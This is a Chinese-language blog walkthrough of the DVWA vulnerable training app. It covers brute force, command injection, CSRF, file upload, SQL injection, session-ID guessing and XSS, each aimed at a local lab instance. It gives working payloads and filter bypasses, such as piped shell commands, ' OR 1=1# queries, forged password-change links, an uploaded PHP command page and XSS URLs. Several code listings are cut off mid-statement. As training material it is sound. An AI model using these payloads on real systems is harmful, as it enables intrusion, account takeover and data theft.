--- title: DVWA黑客攻防平台 date: 2019-07-24 11:46:51 tags: - web - ctf categories: - web --- # 搭建环境 最好使用docker来搭建,方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ # 暴力破解 ## easy模式 > 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。 用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词,姓氏,任何太短的密码(通常被认为少于6或7个字符),或可预测的模式(例如交替的元音和辅音,这被称为leetspeak,所以“密码“变成”p @ 55w0rd“)。 创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站,个人社交网络和其他常见信息(如生日或毕业年份)的组合创建字典。 最后一种方法是尝试所有可能的密码,称为暴力攻击。从理论上讲,如果尝试次数没有限制,那么暴力攻击将永远是成功的,因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码数量也越来越长。 使用burpsuite可破之,Burp suite运行后,Proxy 开起默认的8080 端口作为本地代理接口。 使用Burp suite通过置一个web 浏览器使用其代理服务器 ```php ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "
Welcome to the password protected area {$user}
"; echo ""; } else { // Login failed echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` **PHP $_GET 变量** 在 PHP 中,预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。 **$_GET 变量** 预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。 从带有 GET 方法的表单发送的信息,**对任何人都是可见的**(会显示在浏览器的地址栏),并且对发送信息的量也有限制。 **何时使用 method="get"?** 在 HTML 表单中使用 method="get" 时,所有的变量名和值都会显示在 URL 中。 所以在发送密码或其他敏感信息时,不应该使用这个方法! 然而,正因为变量显示在 URL 中,因此可以在收藏夹中收藏该页面。在某些情况下,这是很有用的。 HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。 ```html GET /vulnerabilities/brute/?username=admin123&password=123&Login=Login HTTP/1.1 Host: 192.168.31.84:81 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.31.84:81/vulnerabilities/brute/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low ``` 我们可以看到username和password是以明文出现,可以修改。 将请求进行提交到intruder模块,在那里可以把password设置为我们破解的payload. 点击Start attack~然后就根据对面返回包的大小,知道密码,'password'返回的长度更长 ## medium模式 代码与前面相比只是多了要用mysqli_real_escape_string函数进行验证,以及登录失败会 sleep(2)。将用户名和密码转义,比如说 \n 被转义成 \\n,’ 转义成 \’,这可以抵御一些 SQL 注入攻击,但是不能抵御爆破。 # 命令执行 ## easy模式 > 命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统shell,攻击者可以将它用作任何授权的系统用户。但是,命令的执行具有与Web服务相同的权限和环境。 > > 在大多数情况下,命令注入攻击是可能的,因为缺少正确的输入数据验证,攻击者可以操纵它(表单,cookie,HTTP头等)。 > > 操作系统(OS)(例如Linux和Windows)的语法和命令可能不同,具体取决于所需的操作。 > > 此攻击也可称为“远程命令执行(RCE)”。 ```php {$cmd}"; } ?> ``` 可见,服务器无条件执行了ping $target的命令,如果注入$target = 0 | dir,服务器就会执行dir > 管道符号,是unix一个很强大的功能,符号为一条竖线:"|"。 > 用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2 > **任意命令执行漏洞修补办法** 在写程序时尽量地使变量不能被用户所控制!且注意变量初始化的问题。 使用str_replace对“%”,”|”,“>”进行替换 进入函数前判断变量是否合法。 ## medium模式 无非就是增加了一个黑名单 &&和;,但还是可以用管道|和& ``` // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); ``` 这里需要注意的是”&&”与”&”的区别: Command 1&&Command 2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2 Command 1&Command 2 先执行Command 1,不管是否成功,都会执行Command 2 更聪明的做法是利用&;&,黑名单会将其转化为&& # CSRF ## easy模式 > CSRF跨站请求伪造是一种攻击,它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下(例如通过电子邮件/聊天发送链接),攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。 > 成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户,则可能会危及整个Web应用程序。 > 此攻击也可称为“XSRF”,类似于“跨站点脚本(XSS)”,它们通常一起使用。 > 您的任务是让当前用户使用CSRF攻击更改自己的密码,而无需他们了解自己的操作。 > ```php ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the user echo "
Username and/or password incorrect.
Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 服务器通过GET方式接收修改密码的请求,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。 ```htmlmixed GET /vulnerabilities/csrf/?password_new=123&password_conf=123456&Change=Change HTTP/1.1 Host: 192.168.31.84:81 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password&password_conf=123&Change=Change Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low Connection: close ``` 根据拦截的http请求,可以伪造如下链接让受害者点击,从而修改密码 `http://ip:port/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change` 更具隐藏性的方式: 1.使用短链接来隐藏 URL: 为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站: http://tinyurl.com/yd2gogtv PS:提供一个短网址生成网站 2.构造攻击页面: * 方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。 * 方式 2 查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。 ```html ``` 构造攻击页面 现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示,就在本地写一个test.html,下面是具体代码。 ```
{$target_path} succesfully uploaded!"; } } ?> ``` ## medium模式 增加了对文件类型和大小的过滤,只允许图片上传 ``` // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { ``` 用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传: http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls # SQL注入 ## easy模式 > SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(如关闭DBMS),恢复DBMS文件中存在的给定文件的内容system(load_file),在某些情况下向操作系统发出命令。 > SQL注入攻击是一种注入攻击,其中SQL命令被注入到数据平面输入中,以便实现预定义的SQL命令。 > 这种攻击也可称为“SQLi”。 ``` ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?> ``` 在做查询操作时,未对$id做任何限制,直接传入了sql语句,造成字符型注入 原SELECT语句 `SELECT first_name, last_name FROM users WHERE user_id = '$id'; ` 中的$id可以任意输入。 当输入$id=123' OR 1=1#时,SELECT语句变成了 `SELECT first_name, last_name FROM users WHERE user_id = '123' OR 1=1#'; ` 此时最后一个引号被#注释,同时1=1永远返回TRUE,这就导致所有用户的姓名泄露。 ``` ID: 123' OR 1=1# First name: admin Surname: admin ID: 123' OR 1=1# First name: Gordon Surname: Brown ID: 123' OR 1=1# First name: Hack Surname: Me ID: 123' OR 1=1# First name: Pablo Surname: Picasso ID: 123' OR 1=1# First name: Bob Surname: Smith ``` 那如果想要得到密码该怎么做,UNION 操作符用于合并两个或多个 SELECT 语句的结果集,我们可以这样构造id `$id=123' or 1=1# union SELECT first_name,password FROM` 但貌似表里没有password ``` users ID: 123' or 1=1# union SELECT first_name,password FROM users First name: admin Surname: admin ID: 123' or 1=1# union SELECT first_name,password FROM users First name: Gordon Surname: Brown ID: 123' or 1=1# union SELECT first_name,password FROM users First name: Hack Surname: Me ID: 123' or 1=1# union SELECT first_name,password FROM users First name: Pablo Surname: Picasso ID: 123' or 1=1# union SELECT first_name,password FROM users First name: Bob Surname: Smith ``` ## medium模式 前端只能选择,前源码过滤了字符 `$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); ` 其中受影响的字符如下: ``` \x00 \n \r \ ' " \x1a ``` 但由于其为字符型注入,因此防御手段形同虚设 构造id=1 or 1=1#即得到所有用户信息 # SQL盲注 > 盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 > 1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据 ```php 0 ) { // Feedback for end user echo '
First name: {$first}
Surname: {$last}
User ID exists in the database.'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 查看源码发现还是没有对id做过滤,但是它不会返回错误信息,只会告诉你User ID exists in the database.以及User ID is MISSING from the database. 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。 如果手工盲注的话,需要对sql语法相当熟悉。类似: https://www.freebuf.com/articles/web/120985.html 如果自动盲注的话,可以使用sqlmap来完成,类似: https://www.jianshu.com/p/ec2ca79e74b2 # 弱session-id ## easy模式 session-ID通常是在登录后作为特定用户访问站点所需的唯一内容,如果能够计算或轻易猜到该会话ID,则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞,如跨站点脚本。 根据源码可以看出来session每次加1 ```php ``` 按f12看application-cookies也能发现这个规律。 然后使用hackbar这个扩展程序攻击。 ## medium模式 从源码中可以看到dvwaSession就是时间戳 ``` ``` # 基于DOM的XSS ## easy模式 > “跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍,并且发生在使用输出中的用户输入的Web应用程序的任何地方,而不验证或编码它。 > > 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任,并将执行JavaScript。因为它认为脚本来自可靠来源,所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie,会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。 > > 基于DOM的XSS是一个特殊情况,反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽,并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。 查看页面源代码 ```script ``` * indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。 * substring() 方法用于提取字符串中介于两个指定下标之间的字符。 * decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码 * 所以lang被赋值为"default="之后的字串,如果插入js代码,插入的 javascript 代码可以在 decodeURL(lang) 被执行 `http://192.168.31.84:81/vulnerabilities/xss_d/?default=English` 这个uri被用户点击之后会被弹窗,但是在chrome测试了很多次都不行,firefox就可以 ## medium模式 相对于easy模式增加了对script的过滤 ``` # Do not allow script tags if (stripos ($default, "` 2. 方法2 或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss) ```http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E``` # 反射型xss ## easy模式 > 反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。 查看源码,服务器直接把客户端的输入返回回来显示 ```php Hello ' . $_GET[ 'name' ] . ''; } ?> ``` http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E ## medium模式 源码里检查了script标签 ``` // Get input $name = str_replace( '`` 或者嵌套``